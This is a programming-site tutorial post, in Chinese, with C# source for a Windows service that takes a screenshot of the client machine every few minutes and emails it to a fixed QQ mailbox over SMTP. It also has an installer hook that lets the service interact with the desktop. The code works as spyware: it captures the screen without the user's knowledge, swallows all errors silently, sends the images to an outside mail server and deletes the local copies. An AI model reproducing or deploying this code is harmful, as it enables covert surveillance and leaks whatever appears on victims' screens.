程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> .NET網頁編程 >> C# >> C#入門知識 >> c#寫的windows服務,定時抓取客戶機的屏幕,並發送到指定的郵箱

c#寫的windows服務,定時抓取客戶機的屏幕,並發送到指定的郵箱

編輯:C#入門知識

 

windows服務,能夠定時抓取客戶機的屏幕,並發送到指定的郵箱。(參考了一些網上的代碼,xp系統下測試無問題)

 

public partial class Service1 : ServiceBase

    {

        static DateTime time;

 

        [System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]

        private static extern bool BitBlt(

        IntPtr hdcDest, //目標設備的句柄

        int nXDest, // 目標對象的左上角的X坐標

        int nYDest, // 目標對象的左上角的X坐標

        int nWidth, // 目標對象的矩形的寬度

        int nHeight, // 目標對象的矩形的長度

        IntPtr hdcSrc, // 源設備的句柄

        int nXSrc, // 源對象的左上角的X坐標

        int nYSrc, // 源對象的左上角的X坐標

        System.Int32 dwRop // 光柵的操作值

        );

        [System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]

        private static extern IntPtr CreateDC(

        string lpszDriver, // 驅動名稱

        string lpszDevice, // 設備名稱

        string lpszOutput, // 無用,可以設定位"NULL"

        IntPtr lpInitData // 任意的打印機數據

        );

        public Service1()

        {

            InitializeComponent();

        }

 

        protected override void OnStart(string[] args)

        {

            time = DateTime.Now;

            System.Timers.Timer timer = new System.Timers.Timer(180000);

            timer.Elapsed += new System.Timers.ElapsedEventHandler(timer_Elapsed);

            timer.Enabled = true;

            timer.Start();            

        }

 

        void timer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)

        {

            if (DateTime.Now >= time)

            {

                time = time.AddMinutes(5);

                SendEmail();

            }

        }

 

        private void SendEmail()

        {

            try

            {

                #region 屏幕截屏

                Bitmap MyImage = null;

                IntPtr dc1 = CreateDC("DISPLAY", null, null, (IntPtr)null);

                //創建顯示器的DC

                Graphics g1 = Graphics.FromHdc(dc1);

                //由一個指定設備的句柄創建一個新的Graphics對象

                MyImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, g1);

                //根據屏幕大小創建一個與之相同大小的Bitmap對象

                Graphics g2 = Graphics.FromImage(MyImage);

                //獲得屏幕的句柄

                IntPtr dc3 = g1.GetHdc();

                //獲得位圖的句柄

                IntPtr dc2 = g2.GetHdc();

                //把當前屏幕捕獲到位圖對象中

                BitBlt(dc2, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, dc3, 0, 0, 13369376);

                //把當前屏幕拷貝到位圖中

                g1.ReleaseHdc(dc3);

                //釋放屏幕句柄

                g2.ReleaseHdc(dc2);

                //釋放位圖句柄

                string dir = Getdir();

                string path = dir + DateTime.Now.ToString("yyyyMMddHHmmss") + ".jpg";

                WriteLog(path);

                MyImage.Save(path, ImageFormat.Jpeg);

                #endregion

 

 

                #region 郵件發送程序

                SmtpClient mailClient = new SmtpClient("smtp.qq.com");

 

                //Credentials登陸SMTP服務器的身份驗證.

 

                mailClient.Credentials = new NetworkCredential(qq郵箱, 密碼);

 

                //[email protected]發件人地址、[email protected]收件人地址

                MailMessage message = new MailMessage(new MailAddress("[email protected]"), new MailAddress("[email protected]"));

                // message.Bcc.Add(new MailAddress("[email protected]")); //可以添加多個收件人

 

                //message.Body = "Hello Word!";//郵件內容

                message.Subject = DateTime.Now.ToString("yyyyMMddHHmmss");//郵件主題

 

                //Attachment 附件

                Attachment att = new Attachment(path);

                message.Attachments.Add(att);//添加附件           

                //發送

                mailClient.Send(message);

                if (File.Exists(path))

                    File.Delete(path);

 

                #endregion

            }

            catch(Exception e)

            {

 

            }

        }

        private string  Getdir()

        {

            if (Directory.Exists("c:\\"))

                return "c:\\";

            else if (Directory.Exists("d:\\"))

                return "d:\\";

            else if (Directory.Exists("e:\\"))

                return "e:\\";

            else if (Directory.Exists("f:\\"))

                return "f:\\";

            else

                return "g:\\";

        }

 

        private void WriteLog(string message)

        {

            string path1 = Getdir() + "\\" + DateTime.Now.ToString("yyyy-MM") + ".txt";

            if (!File.Exists(path1))

            {

                File.CreateText(path1).Close();

            }

            using (FileStream fs = new FileStream(path1, FileMode.Append, FileAccess.Write))

            {

                StreamWriter sw = new StreamWriter(fs);

                sw.WriteLine(message);

                sw.Flush();

                sw.Close();

                fs.Close();

            }

        }

        protected override void OnStop()

        {

 

        }

    }

 

/////該函數是為了windows服務和桌面交互

 

private void serviceInstaller1_AfterInstall(object sender, InstallEventArgs e)

        {

            base.OnAfterInstall(e.SavedState);

 

            ManagementObject wmiService = null;

            ManagementBaseObject InParam = null;

            try

            {

                wmiService = new ManagementObject(string.Format("Win32_Service.Name='{0}'", serviceInstaller1.ServiceName));

                InParam = wmiService.GetMethodParameters("Change");

                InParam["DesktopInteract"] = true;

                wmiService.InvokeMethod("Change", InParam, null);

            }

            finally

            {

                if (InParam != null)

                    InParam.Dispose();

                if (wmiService != null)

                    wmiService.Dispose();

            }

        }

 

摘自 小小豬的專欄

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved